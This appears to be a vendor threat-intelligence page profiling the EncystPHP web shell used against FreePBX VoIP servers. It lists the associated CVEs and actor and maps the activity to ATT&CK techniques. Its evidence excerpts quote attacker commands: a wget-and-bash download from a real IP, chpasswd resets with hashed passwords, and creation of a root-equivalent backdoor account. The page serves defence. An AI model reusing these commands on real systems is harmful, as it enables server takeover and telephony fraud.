Skip to main content
Mallory
Malware1 associated actor3 associated CVEs

EncystPHP

Tracked since Jan 28, 2026 · Updated 25 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days2 mentions · peak 2 in a dayToday
Vulns3Associated
Actors1Associated
ATT&CK34Techniques
IOCs14Tracked
Type
Webshell
Capabilities
Credential theftPersistencePrivilege escalationPost exploitationDefense evasionReconnaissance
Platforms
Linux

EncystPHP is a PHP web shell targeting Linux-based FreePBX VoIP servers and supporting operations within FreePBX and Elastix administrative environments. Identified by FortiGuard Labs in January 2026, it was deployed in attacks exploiting CVE-2025-64328, a post-authentication command-injection vulnerability in FreePBX, beginning in early December 2025. The activity is associated with INJ3CTOR3, a financially motivated threat actor known for compromising VoIP infrastructure for unauthorized call generation and toll fraud.

The web shell provides an authenticated operator interface for arbitrary system command execution, filesystem enumeration, process inspection, active Asterisk channel queries, SIP peer listing, and retrieval of FreePBX and Elastix configuration information. Access is gated by a hard-coded authentication secret. Its deployment chain collects database configuration information and installs additional payloads and redundant web shell copies, enabling continued administrative access and abuse of telephony resources.

Persistence mechanisms include recurring cron jobs that download and execute installation scripts, root-equivalent local accounts, account password resets, and injected SSH public keys. The malware also modifies system configuration to preserve SSH access. Defense-evasion and anti-forensic behaviors include masquerading as legitimate FreePBX components, Base64-encoded payload deployment, timestamp forgery, file-permission manipulation, log tampering, and removal of competing web shells. Its deployment chain can delete existing accounts and scheduled tasks and remove the FreePBX Endpoint Manager module.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Associated CVEs

Associated vulnerabilities

3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2025-64328via cyber security newsExploited in the wildAuthenticated Command Injection in Sangoma FreePBX FilestoreA sophisticated attack campaign leveraging a critical FreePBX vulnerability to deploy a persistent webshell dubbed “EncystPHP,” enabling threat actors to gain complete administrative control over compromised VoIP systems.View vulnerability →Source ↗
CVE-2021-45461via the hacker newsExploited in the wildRemote Code Execution in FreePBX Rest Phone AppsAs recently as last week, Fortinet revealed the threat actor behind the activity has weaponized CVE-2025-64328 starting early December 2025 to deliver a web shell codenamed EncystPHP. | In 2022, the threat actor shifted its focus to the Elastix system via CVE-2021-45461. These incidents begin with the exploitation of a FreePBX vulnerability, followed by the deployment of a PHP web shell in the target environments.View vulnerability →Source ↗
CVE-2019-19006via fortinet threat researchAuthentication Bypass in Sangoma FreePBXFortiGuard Labs has discovered a web shell that we named “EncystPHP.” It features several advanced capabilities, including remote command execution, persistence mechanisms, and web shell deployment.View vulnerability →Source ↗
Threat actors

Associated threat actors

1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
INJ3CTOR3

“Fortinet documented the EncystPHP webshell in January 2026, and our May report covered JOMANGY.”

via cyble blogcyble.com
MITRE ATT&CK

Techniques & procedures

34 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques
T1078Valid AccountsEvidence2

This version is also adding the following backdoor accounts...

T1190Exploit Public-Facing ApplicationEvidence6

"...exploits CVE-2025-64328, a post-authentication command-injection flaw in the FreePBX Endpoint Manager’s administrative interface... allows authenticated attackers to execute arbitrary shell commands as the asterisk user..."

Execution

4 techniques
T1053.003CronEvidence4

"Initial persistence is established through crontab entries that download the secondary dropper k.php every minute."

T1059Command and Scripting InterpreterEvidence3

By leveraging Elastix and FreePBX administrative contexts, the web shell operates with elevated privileges, enabling arbitrary command execution on the compromised host...

T1059.004Unix ShellEvidence5

Application: system data: wget http://45.95.147.178/k.php -O /tmp/k;bash /tmp/ k

T1203Exploitation for Client ExecutionEvidence2

The same IP address is also probing for various FreePBX vulnerabilities, for example: /restapps/applications.php?linestate=$$LINESTATE$$&user=100 ... Application: system data: wget http://45.95.147.178/k.php -O /tmp/k;bash /tmp/ k

Persistence

8 techniques
T1053.003CronEvidence4

"Initial persistence is established through crontab entries that download the secondary dropper k.php every minute."

T1078Valid AccountsEvidence2

This version is also adding the following backdoor accounts...

T1098Account ManipulationEvidence1

"...resets multiple user account passwords to a single value, and injects SSH public keys to maintain backdoor access."

T1098.004SSH Authorized KeysEvidence3

"...injects SSH public keys to maintain backdoor access."

T1136Create AccountEvidence3

This version is also adding the following backdoor accounts: echo 'root:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e ... echo 'freepbxuser:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e

T1136.001Local AccountEvidence1

“the malware creates a root-level user named newfpbx… useradd … -ou 0 -g 0 … newfpbx”

T1505.003Web ShellEvidence9

Today, I noticed some scans for what appears to be the "EncystPHP" web shell... It appears to be a favorite among attackers compromising vulnerable FreePBX systems.

T1556Modify Authentication ProcessEvidence1

"The webshell employs MD5-hashed authentication, comparing plaintext passwords entered via the web interface against hard-coded hash values embedded in the code."

Privilege Escalation

5 techniques
T1053.003CronEvidence4

"Initial persistence is established through crontab entries that download the secondary dropper k.php every minute."

T1068Exploitation for Privilege EscalationEvidence1

“By leveraging Elastix and FreePBX administrative contexts, the web shell operates with elevated privileges…”

T1078Valid AccountsEvidence2

This version is also adding the following backdoor accounts...

T1098Account ManipulationEvidence1

"...resets multiple user account passwords to a single value, and injects SSH public keys to maintain backdoor access."

T1098.004SSH Authorized KeysEvidence3

"...injects SSH public keys to maintain backdoor access."

Stealth

7 techniques
T1027Obfuscated Files or InformationEvidence1

“...deployed Base64-encoded web shells to maintain long-term control.”

T1036MasqueradingEvidence1

"By mimicking legitimate FreePBX components, it attempts to 'evade immediate detection'"

T1036.005Match Legitimate Resource Name or LocationEvidence1

“written to disk, masquerading as a legitimate FreePBX file named ajax.php… [and] forges timestamps to match those of legitimate files”

T1070Indicator RemovalEvidence1

"EncystPHP also tampers with log files and disables error reporting to hinder forensic analysis and detection efforts."

T1070.004File DeletionEvidence2

"The malware also attempts to cover its tracks, executing commands like rm -rf /tmp/* to delete temporary files"

T1070.006TimestompEvidence1

"The malware forges timestamps to match legitimate files..."

T1078Valid AccountsEvidence2

This version is also adding the following backdoor accounts...

Defense Impairment

5 techniques
T1222File and Directory Permissions ModificationEvidence1

"Upon deployment, the malware modifies file permissions of legitimate FreePBX components to prevent detection..."

T1222.002Linux and Mac PermissionsEvidence2

“modifies the file permissions of ajax.php and model.php to 000, rendering both files unreadable…”

T1556Modify Authentication ProcessEvidence1

"The webshell employs MD5-hashed authentication, comparing plaintext passwords entered via the web interface against hard-coded hash values embedded in the code."

T1685Disable or Modify ToolsEvidence1

“searches for PHP files associated with web shells… and deletes all matching files… [and] disables error reporting”

T1685.006Clear Linux or Mac System LogsEvidence1

"...and sed to scrub logs."

Credential Access

3 techniques
T1003OS Credential DumpingEvidence1

“attempts to collect database configuration information from /etc/freepbx.conf”

T1552.001Credentials In FilesEvidence1

“...harvested database configs...”

T1556Modify Authentication ProcessEvidence1

"The webshell employs MD5-hashed authentication, comparing plaintext passwords entered via the web interface against hard-coded hash values embedded in the code."

Discovery

4 techniques
T1057Process DiscoveryEvidence1

"...predefined operational commands for... process inspection..."

T1082System Information DiscoveryEvidence1

The web shell also exposes an interactive interface that supports several predefined operational commands. This includes file system enumeration, process inspection... and retrieving multiple FreePBX and Elastix configuration files.

T1083File and Directory DiscoveryEvidence1

"...predefined operational commands for file system enumeration... retrieving FreePBX and Elastix configuration files."

T1087Account DiscoveryEvidence1

The web shell also exposes an interactive interface that supports several predefined operational commands... listing Asterisk SIP peers...

Lateral Movement

2 techniques
T1021Remote ServicesEvidence1

"...the web shell is then used for post-exploitation activities, including outbound call fraud, lateral movement within the network..."

T1021.004SSHEvidence3

"...modifies system configurations to ensure SSH port 22 remains open... injects SSH public keys to maintain backdoor access."

Command and Control

2 techniques
T1071.001Web ProtocolsEvidence2

"...downloaded the EncystPHP dropper from the IP address 45[.]234[.]176[.]202..."

T1105Ingress Tool TransferEvidence4

"Fortinet observed that the attackers downloaded the EncystPHP dropper from the IP address 45[.]234[.]176[.]202... redirected to another dropper named k.php."

Impact

1 technique
T1496Resource HijackingEvidence1

“enabling arbitrary command execution… and initiating outbound call activity through the PBX environment.”

Indicators of compromise

Observables

14 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

16 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+12 more in the timeline. Sign up to see them
Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching14Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors1Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities3CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping34Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.